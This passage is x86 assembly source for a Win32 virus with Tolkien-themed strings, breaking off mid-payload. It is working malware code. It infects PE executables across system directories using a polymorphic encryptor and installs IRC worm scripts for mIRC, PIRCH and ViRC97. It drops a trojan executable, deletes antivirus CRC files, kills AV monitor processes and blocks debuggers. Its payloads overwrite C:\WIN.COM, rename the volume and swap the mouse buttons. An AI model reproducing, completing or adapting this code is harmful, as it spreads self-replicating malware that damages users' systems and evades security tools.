lea eax,[ebp+szADVAPI32] ; Here we will get all needed
|
||
push eax ; APIs from ADVAPI32.DLL
|
||
apicall _LoadLibraryA
|
||
xchg eax,ebx
|
||
|
||
lea edi,[ebp+@@ADVAPI32_APIs] ; Pointer to API names
|
||
lea esi,[ebp+@@ADVAPI32_Addresses] ; Pointer to API addresses
|
||
retrieve_advapi32_apis:
|
||
push edi ; Push pointer to name
|
||
push ebx ; Push ADVAPI32 base address
|
||
apicall _GetProcAddress
|
||
|
||
xchg edi,esi ; Store API address
|
||
stosd
|
||
xchg edi,esi
|
||
|
||
xor al,al ; Get the end of API string
|
||
scasb
|
||
jnz $-1
|
||
|
||
cmp byte ptr [edi],"" ; I like music [:)~
|
||
jz all_advapi32_apis
|
||
jmp retrieve_advapi32_apis
|
||
|
||
all_advapi32_apis:
|
||
ret
|
||
|
||
; Heh, a greeting to the man (and the book!) that inspired this virus :)
|
||
|
||
db 0,"[The Hobbit (c) 1937 by J.R.R. Tolkien]",0
|
||
|
||
; ===========================================================================
|
||
; Infect current, Windows and System directories
|
||
; ===========================================================================
|
||
|
||
InfectItAll:
|
||
lea edi,[ebp+directories] ; Pointer to 1st directory
|
||
mov byte ptr [ebp+mirrormirror],dirs2inf ; Set up variable
|
||
requiem:
|
||
push edi ; Set as current dir the
|
||
apicall _SetCurrentDirectoryA ; dir to infect
|
||
|
||
call DeleteShit ; Delete AV CRC files
|
||
|
||
push edi
|
||
|
||
; Initialize this values for each directory processed
|
||
|
||
and byte ptr [ebp+CurrentExt],00h
|
||
lea esi,[ebp+EXTENSIONS]
|
||
lea edi,[ebp+EXTENSION]
|
||
|
||
infect_all_masks:
|
||
cmp byte ptr [ebp+CurrentExt],n_EXT
|
||
jae all_mask_infected
|
||
|
||
lodsd ; EAX = EXTENSION
|
||
mov [edi],eax ; No STOSD! We don't want EDI
|
||
; to change...
|
||
|
||
push edi esi
|
||
call Infect ; Infect some files
|
||
pop esi edi
|
||
|
||
inc byte ptr [ebp+CurrentExt]
|
||
jmp infect_all_masks
|
||
all_mask_infected:
|
||
pop edi
|
||
|
||
add edi,7Fh ; Get another directory
|
||
|
||
dec byte ptr [ebp+mirrormirror] ; Check if we infected all
|
||
cmp byte ptr [ebp+mirrormirror],00h ; available directories
|
||
jnz requiem
|
||
ret
|
||
|
||
; ===========================================================================
|
||
; Search MASK and infect found uninfected files
|
||
; ===========================================================================
|
||
|
||
Infect: and dword ptr [ebp+infections],00000000h ; reset countah
|
||
lea eax,[ebp+offset WIN32_FIND_DATA] ; Find's shit
|
||
push eax
|
||
|
||
lea eax,[ebp+offset _MASK]
|
||
push eax
|
||
|
||
apicall _FindFirstFileA ; Get first file on directory
|
||
cmp_ eax,FailInfect ; Failed? Shit...
|
||
mov dword ptr [ebp+SearchHandle],eax
|
||
|
||
__1: lea edi,[ebp+WFD_szFileName]
|
||
call AvoidShitFiles
|
||
jc __2
|
||
|
||
push dword ptr [ebp+NewEIP]
|
||
push dword ptr [ebp+OldEIP]
|
||
push dword ptr [ebp+ModBase]
|
||
call Infection ; Infect file
|
||
pop dword ptr [ebp+ModBase]
|
||
pop dword ptr [ebp+OldEIP]
|
||
pop dword ptr [ebp+NewEIP]
|
||
jc __2
|
||
|
||
inc byte ptr [ebp+infections]
|
||
cmp byte ptr [ebp+infections],n_infections ; Did we infected them?
|
||
jae FailInfect ; Yeah... :)
|
||
|
||
__2: lea edi,[ebp+WFD_szFileName] ; Clear name field
|
||
mov ecx,MAX_PATH
|
||
xor al,al
|
||
rep stosb
|
||
|
||
lea eax,[ebp+offset WIN32_FIND_DATA] ; Search for another file
|
||
push eax
|
||
push dword ptr [ebp+SearchHandle]
|
||
apicall _FindNextFileA
|
||
cmpz eax,CloseSearchHandle
|
||
jmp __1
|
||
|
||
CloseSearchHandle:
|
||
push dword ptr [ebp+SearchHandle] ; Close search handle
|
||
apicall _FindClose
|
||
FailInfect:
|
||
ret
|
||
|
||
db 0,"[Luthien is still alive in the world]",0
|
||
|
||
; ===========================================================================
|
||
; Traversal search for mIRC and PIRCH scripts (modified version of LJ's code)
|
||
; ===========================================================================
|
||
|
||
TraversalSearch:
|
||
lea esi,[ebp+tempcurdir] ; Get the current directory
|
||
push esi ; (We only want the current
|
||
push 7Fh ; drive)
|
||
apicall _GetCurrentDirectoryA
|
||
|
||
lodsb ; Get drive
|
||
|
||
mov byte ptr [ebp+root],al ; Put it in its variable
|
||
|
||
lea eax,[ebp+root] ; Reach the root directory
|
||
push eax ; of the current drive
|
||
apicall _SetCurrentDirectoryA
|
||
|
||
Traversal:
|
||
lea esi,[ebp+key_mIRC] ; Already catched? Avoid
|
||
call RegExist ; this if so, as it needs many
|
||
jc nomoretosearch ; time, and the user could
|
||
lea esi,[ebp+key_PIRCH] ; notice our presence :)
|
||
call RegExist
|
||
jc nomoretosearch
|
||
lea esi,[ebp+key_ViRC97]
|
||
call RegExist
|
||
jc nomoretosearch
|
||
xor ebx,ebx ; Clear counter
|
||
|
||
findfirstdir:
|
||
lea edi,[ebp+_WIN32_FIND_DATA] ; Search for directories
|
||
push edi
|
||
lea eax,[ebp+ALL_MASK]
|
||
push eax
|
||
apicall _FindFirstFileA
|
||
cmp_ eax,notfoundfirstdir
|
||
|
||
mov dword ptr [ebp+TSHandle],eax
|
||
|
||
main_trav:
|
||
cmp dword ptr [ebp+_WFD_dwFileAttributes],directory_attr
|
||
jnz findnextdir
|
||
|
||
lea eax,[ebp+_WFD_szFileName]
|
||
cmp byte ptr [eax],"." ; Is dir "." or ".."?
|
||
jz findnextdir ; Shitz
|
||
|
||
push eax
|
||
apicall _SetCurrentDirectoryA
|
||
|
||
pushad
|
||
call Worms ; Let's rock!
|
||
popad
|
||
|
||
push dword ptr [ebp+TSHandle] ; Save handle
|
||
inc ebx ; Increase counter :)
|
||
jmp findfirstdir
|
||
findnextdir:
|
||
push edi ; Search for another dir
|
||
push dword ptr [ebp+TSHandle]
|
||
apicall _FindNextFileA
|
||
cmpz eax,notfoundfirstdir
|
||
|
||
jmp main_trav
|
||
notfoundfirstdir:
|
||
lea eax,[ebp+dotdot] ; Go back 1 dir
|
||
push eax
|
||
apicall _SetCurrentDirectoryA
|
||
|
||
or ebx,ebx ; Are we in root? yeah, it's
|
||
jz nomoretosearch ; over! our search finished!
|
||
|
||
dec ebx ; Decrease countah
|
||
pop dword ptr [ebp+TSHandle]
|
||
jmp findnextdir
|
||
|
||
notfoundnextdir:
|
||
push dword ptr [ebp+TSHandle]
|
||
apicall _FindClose
|
||
jmp notfoundfirstdir
|
||
|
||
nomoretosearch:
|
||
lea esi,[ebp+key_PIRCH] ; Mark all registry keys...
|
||
call PutReg
|
||
lea esi,[ebp+key_mIRC]
|
||
call PutReg
|
||
lea esi,[ebp+key_ViRC97]
|
||
call PutReg
|
||
|
||
lea esi,[ebp+tempcurdir] ; And put current directory
|
||
push esi ; back :)
|
||
apicall _SetCurrentDirectoryA
|
||
ret
|
||
|
||
db 0,"[Thorin,Dori,Nori,Ori,Balin,Dwalin,Fili,Kili,Oin,Gloin,"
|
||
db "Bifur,Bofur,Bombur]",0
|
||
|
||
; ===========================================================================
|
||
; Worms (mIRC & PIRCH) installer
|
||
; ===========================================================================
|
||
|
||
Worms:
|
||
call DeleteShit ; Delete AV CRCs from all dir
|
||
push 80h ; We test for the presence of
|
||
lea eax,[ebp+PirchWormFile] ; the scripts by setting a
|
||
push eax ; normal attribute to them.
|
||
apicall _SetFileAttributesA ; If the api returns us an
|
||
xchg eax,ecx ; error, then we know the
|
||
jecxz TryWithMIRC ; file doesn't exist :)
|
||
jmp BorrowPIRCH ; As in DOS! ;)
|
||
TryWithMIRC:
|
||
push 80h
|
||
lea eax,[ebp+mIRCWormFile]
|
||
push eax
|
||
apicall _SetFileAttributesA
|
||
xchg eax,ecx
|
||
jecxz TryWithViRC97
|
||
jmp BorrowMIRC
|
||
TryWithViRC97:
|
||
push 80h
|
||
lea eax,[ebp+ViRC97WormFile]
|
||
push eax
|
||
apicall _SetFileAttributesA
|
||
xchg eax,ecx
|
||
jecxz ExitWorms
|
||
jmp BorrowViRC97
|
||
ExitWorms:
|
||
ret
|
||
|
||
; ===========================================================================
|
||
; PIRCH script overwrite
|
||
; ===========================================================================
|
||
|
||
BorrowPIRCH: ; If file found, drop the
|
||
xor eax,eax ; new script file
|
||
push eax
|
||
push eax
|
||
push 00000003h
|
||
push eax
|
||
inc eax
|
||
push eax
|
||
push 40000000h
|
||
call _PIRCH
|
||
|
||
PirchWormFile db "events.ini",0 ; What to overwrite
|
||
|
||
_PIRCH: apicall _CreateFileA
|
||
|
||
mov dword ptr [ebp+TempHandle],eax
|
||
|
||
push 00000000h ; Overwrite with our script :)
|
||
lea ebx,[ebp+iobytes]
|
||
push ebx
|
||
push PirchWormSize
|
||
lea ebx,[ebp+PirchWorm]
|
||
push ebx
|
||
push eax
|
||
apicall _WriteFile
|
||
|
||
mov ecx,PirchWormSize ; And trunc the file, so there
|
||
call TruncFile ; won't be more shit ;)
|
||
|
||
push dword ptr [ebp+TempHandle]
|
||
apicall _CloseHandle
|
||
ret
|
||
|
||
; ===========================================================================
|
||
; mIRC script overwrite
|
||
; ===========================================================================
|
||
|
||
BorrowMIRC: ; Same as above, but with
|
||
xor eax,eax ; mIRC scripts
|
||
push eax
|
||
push eax
|
||
push 00000003h
|
||
push eax
|
||
inc eax
|
||
push eax
|
||
push 40000000h
|
||
call _mIRC
|
||
|
||
mIRCWormFile db "mirc.ini",0
|
||
|
||
_mIRC: apicall _CreateFileA
|
||
|
||
mov dword ptr [ebp+TempHandle],eax
|
||
|
||
push 00000000h
|
||
lea ebx,[ebp+iobytes]
|
||
push ebx
|
||
push mIRCWormSize
|
||
lea ebx,[ebp+mIRCWorm]
|
||
push ebx
|
||
push eax
|
||
apicall _WriteFile
|
||
|
||
mov ecx,mIRCWormSize
|
||
call TruncFile
|
||
|
||
push dword ptr [ebp+TempHandle]
|
||
apicall _CloseHandle
|
||
ret
|
||
|
||
; ===========================================================================
|
||
; ViRC97 script overwrite
|
||
; ===========================================================================
|
||
|
||
BorrowViRC97: ; Same as above, but with
|
||
xor eax,eax ; ViRC97 scripts
|
||
push eax
|
||
push eax
|
||
push 00000003h
|
||
push eax
|
||
inc eax
|
||
push eax
|
||
push 40000000h
|
||
call _ViRC97
|
||
|
||
ViRC97WormFile db "default.lib",0
|
||
|
||
_ViRC97:apicall _CreateFileA
|
||
|
||
mov dword ptr [ebp+TempHandle],eax
|
||
|
||
push 00000000h
|
||
lea ebx,[ebp+iobytes]
|
||
push ebx
|
||
push ViRC97WormSize
|
||
lea ebx,[ebp+ViRC97Worm]
|
||
push ebx
|
||
push eax
|
||
apicall _WriteFile
|
||
|
||
mov ecx,ViRC97WormSize
|
||
call TruncFile
|
||
|
||
push dword ptr [ebp+TempHandle]
|
||
apicall _CloseHandle
|
||
ret
|
||
|
||
; ===========================================================================
|
||
; Unpack, drop and infect our PE file [TROJAN mode]
|
||
; ===========================================================================
|
||
|
||
DropPR0N:
|
||
push drop_old_size ; Allocate some memory
|
||
push 00000000h
|
||
apicall _GlobalAlloc
|
||
cmpz eax,_ExitDropPR0N
|
||
mov dword ptr [ebp+GlobalAllocHnd],ecx
|
||
|
||
mov edi,dropper_size ; Unpack in allocated memory
|
||
xchg edi,ecx ; the dropper
|
||
lea esi,[ebp+dropper]
|
||
call LSCE_UnPack
|
||
|
||
push 00000000h ; Create the dropper on
|
||
push 00000080h ; C:\PR0N.EXE (hi darkman!) ;)
|
||
push 00000002h
|
||
push 00000000h
|
||
push 00000001h
|
||
push 40000000h
|
||
call _PR0N
|
||
|
||
pr0nfile db "C:\PR0N.EXE",0
|
||
|
||
_ExitDropPR0N:
|
||
jmp ExitDropPR0N
|
||
|
||
_PR0N: apicall _CreateFileA
|
||
|
||
push eax ; Write it, sucka!
|
||
push 00000000h
|
||
lea ebx,[ebp+iobytes]
|
||
push ebx
|
||
push drop_old_size
|
||
push dword ptr [ebp+GlobalAllocHnd]
|
||
push eax
|
||
apicall _WriteFile
|
||
apicall _CloseHandle
|
||
|
||
lea edi,[ebp+pr0nfile] ; Infect it
|
||
call _Infection
|
||
|
||
push dword ptr [ebp+GlobalAllocHnd] ; And free allocated memory
|
||
apicall _GlobalFree
|
||
ExitDropPR0N:
|
||
ret
|
||
|
||
; ===========================================================================
|
||
; Self protect virus againist debuggers
|
||
; ===========================================================================
|
||
|
||
AntiDebugger:
|
||
apicall _GetVersion ; Check for Win95, as it dont
|
||
cmp eax,80000000h ; have the IsDebuggerPresent
|
||
jb BetterNot ; API.
|
||
|
||
cmp ax,0A04h
|
||
jb BetterNot
|
||
|
||
lea esi,[ebp+@IsDebuggerPresent]
|
||
call GetAPI_ET
|
||
call eax ; Are we being debugged? Shit!
|
||
cmpz eax,BetterNot
|
||
|
||
cli ; Who said that Windoze don't
|
||
jmp $-1 ; use interrupts? ;) Int8 rlz
|
||
|
||
BetterNot:
|
||
ret
|
||
|
||
db 0,"[Dedicated to all Tolkien fans over the middle-earth]",0
|
||
|
||
; ===========================================================================
|
||
; Kill AV CRC files
|
||
; ===========================================================================
|
||
|
||
DeleteShit:
|
||
pushad
|
||
lea edi,[ebp+@@BadPhilez] ; Load pointer to first file
|
||
mov ecx,bad_number ; Number of files to erase
|
||
|
||
killem: push ecx ; Save the number
|
||
push edi ; Push file to erase
|
||
apicall _DeleteFileA ; Delete it!
|
||
pop ecx ; Restore the number
|
||
xor al,al ; Get the next file
|
||
scasb
|
||
jnz $-1
|
||
loop killem ; Loop and delete another :)
|
||
popad
|
||
ret
|
||
|
||
; ===========================================================================
|
||
; Kill the processes of determinated AV monitors
|
||
; ===========================================================================
|
||
|
||
KillMonitors:
|
||
lea edi,[ebp+Monitors2Kill]
|
||
KM_L00p:
|
||
call TerminateProc
|
||
xor al,al ; Reach the end of string
|
||
scasb
|
||
jnz $-1
|
||
cmp byte ptr [edi],0BBh ; Last item of array?
|
||
jnz KM_L00p
|
||
ret
|
||
|
||
; ===========================================================================
|
||
; Avoid infection of certain files
|
||
; ===========================================================================
|
||
;
|
||
; input:
|
||
; EDI = Pointer to file name
|
||
; output:
|
||
; CF = Set to 1 if it exist, to 0 if it doesn't
|
||
;
|
||
|
||
AvoidShitFiles:
|
||
lea esi,[ebp+@@BadProgramz] ; Ptr to table
|
||
ASF_Loop:
|
||
xor eax,eax ; Clear EAX
|
||
lodsb ; Load size of string in AL
|
||
cmp al,0BBh ; End of table?
|
||
jz AllShitFilesProcessed ; Oh, shit!
|
||
xchg eax,ecx ; Put Size in ECX
|
||
push edi ; Preserve program pointer
|
||
rep cmpsb ; Compare both strings
|
||
pop edi ; Restore program pointer
|
||
jz ShitFileFound ; Damn, a shitty file!
|
||
add esi,ecx ; Pointer to another string
|
||
jmp ASF_Loop ; in table & loop
|
||
AllShitFilesProcessed:
|
||
mov cl,00h ; Overlap, so CL = 0F9h
|
||
org $-1
|
||
ShitFileFound:
|
||
stc ; Set carry
|
||
ret
|
||
|
||
; ===========================================================================
|
||
; PE Infection (with parameters)
|
||
; ===========================================================================
|
||
;
|
||
; input:
|
||
; EDI = Pointer to file name
|
||
; output:
|
||
; Nothing.
|
||
;
|
||
|
||
_Infection:
|
||
push edi
|
||
apicall _GetFileAttributesA
|
||
cmp_ eax,_ExitInfection
|
||
mov dword ptr [ebp+WFD_dwFileAttributes],eax
|
||
|
||
mov esi,edi
|
||
call OpenFile
|
||
cmp_ eax,_ExitInfection
|
||
|
||
push eax
|
||
|
||
push 00000000h
|
||
push eax
|
||
apicall _GetFileSize
|
||
mov dword ptr [ebp+WFD_nFileSizeLow],eax
|
||
|
||
apicall _CloseHandle
|
||
|
||
lea esi,[ebp+WFD_szFileName]
|
||
xchg esi,edi
|
||
duhast: lodsb
|
||
or al,al
|
||
jz engel
|
||
stosb
|
||
jmp duhast
|
||
engel: stosb
|
||
push dword ptr [ebp+NewEIP]
|
||
push dword ptr [ebp+OldEIP]
|
||
push dword ptr [ebp+ModBase]
|
||
call Infection
|
||
pop dword ptr [ebp+ModBase]
|
||
pop dword ptr [ebp+OldEIP]
|
||
pop dword ptr [ebp+NewEIP]
|
||
|
||
mov cl,00h ; Overlapppppp
|
||
org $-1
|
||
_ExitInfection:
|
||
stc
|
||
ret
|
||
|
||
; ===========================================================================
|
||
; PE Infection (with WIN32_FIND_DATA)
|
||
; ===========================================================================
|
||
;
|
||
; input:
|
||
; Nothing (everything needed is in WFD structure).
|
||
; output:
|
||
; Nothing.
|
||
;
|
||
|
||
Infection:
|
||
lea esi,[ebp+WFD_szFileName] ; Get FileName to infect
|
||
push 80h
|
||
push esi
|
||
apicall _SetFileAttributesA ; Wipe its attributes
|
||
|
||
call OpenFile ; Open it
|
||
|
||
cmp_ eax,CantOpen
|
||
mov dword ptr [ebp+FileHandle],eax
|
||
|
||
mov ecx,dword ptr [ebp+WFD_nFileSizeLow] ; 1st we create map with
|
||
call CreateMap ; its exact size
|
||
cmpz_ eax,CloseFile
|
||
|
||
mov dword ptr [ebp+MapHandle],eax
|
||
|
||
mov ecx,dword ptr [ebp+WFD_nFileSizeLow]
|
||
call MapFile ; Map it
|
||
cmpz_ eax,UnMapFile
|
||
|
||
mov dword ptr [ebp+MapAddress],eax
|
||
|
||
mov esi,eax ; Get PE Header
|
||
mov esi,[esi+3Ch]
|
||
add esi,eax
|
||
cmp dword ptr [esi],"EP" ; Is it PE?
|
||
jnz NoInfect
|
||
|
||
cmp dword ptr [esi+mark],ddInfMark ; Was it infected?
|
||
jz NoInfect
|
||
|
||
push dword ptr [ebp+MapAddress]
|
||
apicall _UnmapViewOfFile
|
||
|
||
push dword ptr [ebp+MapHandle]
|
||
apicall _CloseHandle
|
||
|
||
mov ecx,dword ptr [ebp+WFD_nFileSizeLow] ; And Map all again.
|
||
add ecx,virus_size
|
||
call CreateMap
|
||
cmpz_ eax,CloseFile
|
||
|
||
mov dword ptr [ebp+MapHandle],eax
|
||
|
||
mov ecx,dword ptr [ebp+WFD_nFileSizeLow]
|
||
add ecx,virus_size
|
||
call MapFile
|
||
cmpz_ eax,UnMapFile
|
||
mov dword ptr [ebp+MapAddress],eax
|
||
|
||
mov esi,eax
|
||
mov esi,[eax+3Ch]
|
||
add esi,eax
|
||
|
||
call GetLastSection ; ESI = Last Section
|
||
; EDI = PE header
|
||
|
||
mov eax,[edi+28h] ; Save original EIP
|
||
mov dword ptr [ebp+OldEIP],eax
|
||
|
||
mov edx,[esi+10h]
|
||
mov ebx,edx
|
||
add edx,[esi+14h] ; EDX = Phisical address where
|
||
; append virus
|
||
|
||
push edx
|
||
|
||
mov eax,ebx
|
||
add eax,[esi+0Ch] ; EAX = VA of new EIP
|
||
mov [edi+28h],eax ; Set the new entrypoint
|
||
mov dword ptr [ebp+NewEIP],eax
|
||
|
||
mov eax,[esi+10h] ; Retrieve new SizeOfRawData
|
||
add eax,virus_size ; and VirtualSize
|
||
mov ecx,[edi+3Ch]
|
||
call Align
|
||
|
||
mov [esi+10h],eax ; Set new SizeOfRawData
|
||
mov [esi+08h],eax ; Set new VirtualSize
|
||
|
||
pop edx
|
||
|
||
mov eax,[esi+10h] ; Set new SizeOfImage
|
||
add eax,[esi+0Ch]
|
||
mov [edi+50h],eax
|
||
|
||
and dword ptr [edi+0A0h],00h ; Nulify the relocs, so they
|
||
and dword ptr [edi+0A4h],00h ; won't fuck us :)
|
||
|
||
or dword ptr [esi+24h],section_flags ; Set new section attributes
|
||
|
||
mov dword ptr [edi+mark],ddInfMark ; Mark infected files
|
||
|
||
push dword ptr [ebp+WFD_nFileSizeLow]
|
||
pop dword ptr [edi+orig_size] ; Store orig. size for stealth
|
||
|
||
push dword ptr [edi+3Ch]
|
||
push dword ptr [ebp+infections]
|
||
and dword ptr [ebp+infections],00h
|
||
|
||
; Some RDA stuff
|
||
|
||
push edi esi edx ; Save ESI and EDI for later
|
||
lea esi,[ebp+crypto]
|
||
mov edi,encrypt_size
|
||
call CRC32 ; Obtain virus CRC32
|
||
pop edx esi edi
|
||
mov dword ptr [ebp+CRC],eax ; Store it
|
||
|
||
push edx
|
||
apicall _GetTickCount ; Get a random number as seed
|
||
xchg ebx,eax ; for RDA encryption
|
||
pop edx
|
||
|
||
; Append virus & RDA encryption
|
||
|
||
mov edi,dword ptr [ebp+MapAddress] ; Write non crypted part
|
||
add edi,edx
|
||
push edi
|
||
lea esi,[ebp+virus_start]
|
||
mov ecx,non_crypt_size
|
||
cld
|
||
rep movsb
|
||
|
||
mov ecx,encrypt_size ; Encrypt and copy the rest
|
||
cryptl: lodsb
|
||
xor al,bl
|
||
stosb
|
||
loop cryptl
|
||
pop edi
|
||
|
||
; Poly decryptor generation
|
||
|
||
lea eax,[ebp+random_seed] ; Get a slow seed for poly
|
||
push eax
|
||
apicall _GetSystemTime
|
||
|
||
mov eax,poly_virus_size ; Obtain exactly a reliable
|
||
mov ecx,4 ; value of virus_size divided
|
||
call Align ; by 4
|
||
shr eax,2
|
||
xchg eax,ecx
|
||
|
||
mov esi,edi
|
||
add esi,LIMIT
|
||
call THME ; generate the poly decryptor
|
||
|
||
pop dword ptr [ebp+infections]
|
||
|
||
mov eax,edi ; Trunc file
|
||
sub eax,dword ptr [ebp+MapAddress]
|
||
pop ecx
|
||
call Align
|
||
xchg eax,ecx
|
||
call TruncFile
|
||
|
||
jmp UnMapFile
|
||
NoInfect:
|
||
stc
|
||
dec byte ptr [ebp+infections] ; Shit, if we are here,
|
||
mov ecx,dword ptr [ebp+WFD_nFileSizeLow] ; something failed :(
|
||
call TruncFile
|
||
|
||
UnMapFile:
|
||
push dword ptr [ebp+MapAddress] ; Close map view of file
|
||
apicall _UnmapViewOfFile
|
||
|
||
CloseMap:
|
||
push dword ptr [ebp+MapHandle] ; Close map handle
|
||
apicall _CloseHandle
|
||
|
||
CloseFile:
|
||
push dword ptr [ebp+FileHandle] ; Close file handle
|
||
apicall _CloseHandle
|
||
|
||
CantOpen:
|
||
push dword ptr [ebp+WFD_dwFileAttributes]
|
||
lea eax,[ebp+WFD_szFileName] ; Restore old attributes
|
||
push eax
|
||
apicall _SetFileAttributesA
|
||
ret
|
||
|
||
db 0,"[Welcome to the Middle-Earth, my dear friend]",0
|
||
|
||
; ===========================================================================
|
||
; Tiny method for get KERNEL32 base address
|
||
; ===========================================================================
|
||
;
|
||
; input:
|
||
; ESI = Program return address
|
||
; ECX = Limit of pages where search
|
||
; output:
|
||
; EAX = Base address of KERNEL32.dll
|
||
;
|
||
|
||
GetK32 proc ; My own little GetK32 :)
|
||
and esi,0FFFF0000h
|
||
_@1: jecxz WeFailed ; Thanx to Super for the idea
|
||
cmp word ptr [esi],"ZM" ; and Qozah for notifying me
|
||
jz CheckPE ; a little error (Thnx man!)
|
||
_@2: sub esi,10000h
|
||
dec ecx
|
||
jmp _@1
|
||
|
||
CheckPE:
|
||
mov edi,[esi+3Ch]
|
||
add edi,esi
|
||
cmp dword ptr [edi],"EP"
|
||
jz WeGotK32
|
||
jmp _@2
|
||
WeFailed:
|
||
cmp byte ptr [ebp+inNT],00h ; Otherwise, hardcode to the
|
||
jz W9X ; proper OS.
|
||
mov esi,kernel_wNT ; NT = 77F00000h
|
||
jmp WeGotK32
|
||
W9X: mov esi,kernel_ ; 9X = BFF70000h
|
||
WeGotK32:
|
||
xchg eax,esi
|
||
ret
|
||
GetK32 endp
|
||
|
||
; ===========================================================================
|
||
; Retrieve API addresses (from Export Table)
|
||
; ===========================================================================
|
||
;
|
||
; input:
|
||
; EDI = Pointer to where you want the first API Address
|
||
; ESI = Pointer to the first API Name
|
||
; output:
|
||
; Nothing.
|
||
;
|
||
|
||
GetAPIs proc
|
||
@@1: push esi
|
||
push edi
|
||
call GetAPI_ET
|
||
pop edi
|
||
pop esi
|
||
|
||
stosd
|
||
|
||
xchg edi,esi
|
||
|
||
xor al,al
|
||
@@2: scasb
|
||
jnz @@2
|
||
|
||
xchg edi,esi
|
||
|
||
@@3: cmp byte ptr [esi],0BBh
|
||
jz @@4
|
||
jmp @@1
|
||
@@4: ret
|
||
GetAPIs endp
|
||
|
||
; ===========================================================================
|
||
; Retrieve API address (from Export Table)
|
||
; ===========================================================================
|
||
;
|
||
; input:
|
||
; ESI = Pointer to API Name
|
||
; output:
|
||
; EAX = API address
|
||
;
|
||
|
||
GetAPI_ET proc
|
||
mov edx,esi
|
||
mov edi,esi
|
||
|
||
xor al,al
|
||
@_1: scasb
|
||
jnz @_1
|
||
|
||
sub edi,esi ; EDI = API Name size
|
||
mov ecx,edi
|
||
|
||
xor eax,eax
|
||
mov esi,3Ch
|
||
rva2va esi,kernel
|
||
|
||
lodsw
|
||
rva2va eax,kernel
|
||
|
||
mov esi,[eax+78h]
|
||
add esi,1Ch
|
||
rva2va esi,kernel
|
||
|
||
lodsd
|
||
rva2va eax,kernel
|
||
mov dword ptr [ebp+AddressTableVA],eax
|
||
lodsd
|
||
|
||
rva2va eax,kernel
|
||
push eax ; mov [NameTableVA],eax =)
|
||
lodsd
|
||
|
||
rva2va eax,kernel
|
||
|
||
mov dword ptr [ebp+OrdinalTableVA],eax
|
||
pop esi
|
||
|
||
xor ebx,ebx
|
||
|
||
@_3: push esi
|
||
lodsd
|
||
|
||
rva2va eax,kernel
|
||
mov esi,eax
|
||
mov edi,edx
|
||
|
||
push ecx
|
||
cld
|
||
rep cmpsb
|
||
pop ecx
|
||
jz @_4
|
||
pop esi
|
||
add esi,4
|
||
inc ebx
|
||
jmp @_3
|
||
|
||
@_4:
|
||
pop esi
|
||
xchg eax,ebx
|
||
shl eax,1
|
||
add eax,dword ptr [ebp+OrdinalTableVA]
|
||
xor esi,esi
|
||
xchg eax,esi
|
||
lodsw
|
||
shl eax,2
|
||
add eax,dword ptr [ebp+AddressTableVA]
|
||
xchg esi,eax
|
||
lodsd
|
||
rva2va eax,kernel
|
||
ret
|
||
GetAPI_ET endp
|
||
|
||
; ===========================================================================
|
||
; Retrieve API address (from Import Table)
|
||
; ===========================================================================
|
||
;
|
||
; input:
|
||
; EDI = Offset of API address to retrieve
|
||
; output:
|
||
; EAX = Address of the API
|
||
; EBX = Address of the API address in the import
|
||
;
|
||
|
||
GetAPI_IT proc
|
||
mov dword ptr [ebp+TempGA_IT1],edi
|
||
mov ebx,edi
|
||
xor al,al
|
||
scasb
|
||
jnz $-1
|
||
sub edi,ebx
|
||
|
||
mov dword ptr [ebp+TempGA_IT2],edi
|
||
|
||
xor eax,eax
|
||
mov esi,dword ptr [ebp+imagebase]
|
||
add esi,3Ch
|
||
lodsw
|
||
add eax,dword ptr [ebp+imagebase]
|
||
xchg esi,eax
|
||
lodsd
|
||
|
||
cmp eax,"EP"
|
||
jnz nopes
|
||
|
||
add esi,7Ch
|
||
lodsd
|
||
push eax
|
||
lodsd
|
||
mov ecx,eax
|
||
pop esi
|
||
add esi,dword ptr [ebp+imagebase]
|
||
|
||
SearchK32:
|
||
push esi
|
||
mov esi,[esi+0Ch]
|
||
add esi,dword ptr [ebp+imagebase]
|
||
lea edi,[ebp+K32_DLL]
|
||
mov ecx,K32_Size
|
||
cld
|
||
push ecx
|
||
rep cmpsb
|
||
pop ecx
|
||
pop esi
|
||
jz gotcha
|
||
add esi,14h
|
||
jmp SearchK32
|
||
gotcha:
|
||
cmp byte ptr [esi],00h
|
||
jz nopes
|
||
mov edx,[esi+10h]
|
||
add edx,dword ptr [ebp+imagebase]
|
||
lodsd
|
||
jz nopes
|
||
|
||
xchg edx,eax
|
||
add edx,[ebp+imagebase]
|
||
xor ebx,ebx
|
||
loopy:
|
||
cmp dword ptr [edx+00h],00h
|
||
jz nopes
|
||
cmp byte ptr [edx+03h],80h
|
||
jz reloop
|
||
|
||
mov edi,dword ptr [ebp+TempGA_IT1]
|
||
mov ecx,dword ptr [ebp+TempGA_IT2]
|
||
mov esi,[edx]
|
||
add esi,dword ptr [ebp+imagebase]
|
||
add esi,2
|
||
push ecx
|
||
rep cmpsb
|
||
pop ecx
|
||
jz wegotit
|
||
reloop:
|
||
inc ebx
|
||
add edx,4
|
||
loop loopy
|
||
wegotit:
|
||
shl ebx,2
|
||
add ebx,eax
|
||
mov eax,[ebx]
|
||
db 0B1h
|
||
nopes:
|
||
stc
|
||
ret
|
||
GetAPI_IT endp
|
||
|
||
; ===========================================================================
|
||
; Payloads
|
||
; ===========================================================================
|
||
; White trash get down on your knees... and you'll get cake and sodomy!
|
||
|
||
payload proc
|
||
apicall _GetTickCount ; Get a random payload
|
||
and eax,payload_number
|
||
lea esi,[ebp+payload_table+eax*4]
|
||
lodsd
|
||
add eax,ebp
|
||
call eax ; Call to it
|
||
ret
|
||
payload endp
|
||
|
||
payload1 proc
|
||
push 00000000h ; Mmm, a new win.com :)
|
||
push 00000080h
|
||
push 00000002h
|
||
push 00000000h
|
||
push 00000001h
|
||
push 40000000h
|
||
call ___
|
||
db "C:\WIN.COM",0
|
||
___: apicall _CreateFileA
|
||
push eax
|
||
push 00000000h
|
||
lea ebx,[ebp+iobytes]
|
||
push ebx
|
||
push p_size
|
||
lea ebx,[ebp+payl0ad]
|
||
push ebx
|
||
push eax
|
||
apicall _WriteFile
|
||
apicall _CloseHandle
|
||
ret
|
||
payload1 endp
|
||
|
||
payload2 proc
|
||
call __
|
||
db "THORIN",0 ; HD Name is... THORIN :)
|
||
__: push 00000000h
|
||
apicall _SetVolumeLabelA
|
||
ret
|
||
payload2 endp
|
||
|
||
payload3 proc
|
||
push 00000001h
|
||
apicall _SwapMouseButton ; Left is right, right is left
|
||
ret
|
||
payload3 endp
|
||
|
||
payload4 proc
|
||
push 00001010h ; Display message
|
||
lea eax,[ebp+vname]
|
||
push eax
|
||
call _2
|
||
|
||
